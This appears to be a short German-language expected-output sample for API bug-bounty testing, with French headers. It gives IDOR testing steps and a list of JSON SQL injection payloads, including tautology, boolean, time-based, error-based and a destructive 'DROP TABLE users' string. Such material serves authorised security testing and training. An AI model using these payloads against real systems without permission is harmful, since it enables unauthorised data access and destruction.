api-fuzzing-bug-bounty

Résultat attendu:

IDOR-Testanleitung:

1. Greifen Sie zuerst auf Ihre eigene Rechnung zu, um eine Baseline zu etablieren
2. Versuchen Sie, die ID zu inkrementieren: /api/v1/invoices/12345 → /api/v1/invoices/12346
3. Testen Sie Umgehungstechniken:
- ID in Array verpacken: {"id":[12345]}
- JSON-Wrapper: {"id":{"id":12345}}
- Parameter-Pollution: ?invoice_id=12345&invoice_id=12346
4. Testen Sie verschiedene Benutzerkontexte, wenn Sie mehrere Konten haben
5. Prüfen Sie auf horizontale und vertikale IDOR (Zugriff auf verschiedene Berechtigungsebenen)

Résultat attendu:

JSON-SQL-Injection-Payloads:

Grundlegende Tests:
- {"id":"1' OR '1'='1"}
- {"id":"1; DROP TABLE users--"}

Boolesch-basiert:
- {"id":"1 AND 1=1"}
- {"id":"1 AND 1=2"}

Zeitbasiert (Blind):
- {"id":"1 AND sleep(5)--"}
- {"id":"1'; WAITFOR DELAY '0:0:5'--"}

Fehlerbasiert:
- {"id":"1' AND extractvalue(1,concat(0x7e,version()))--"}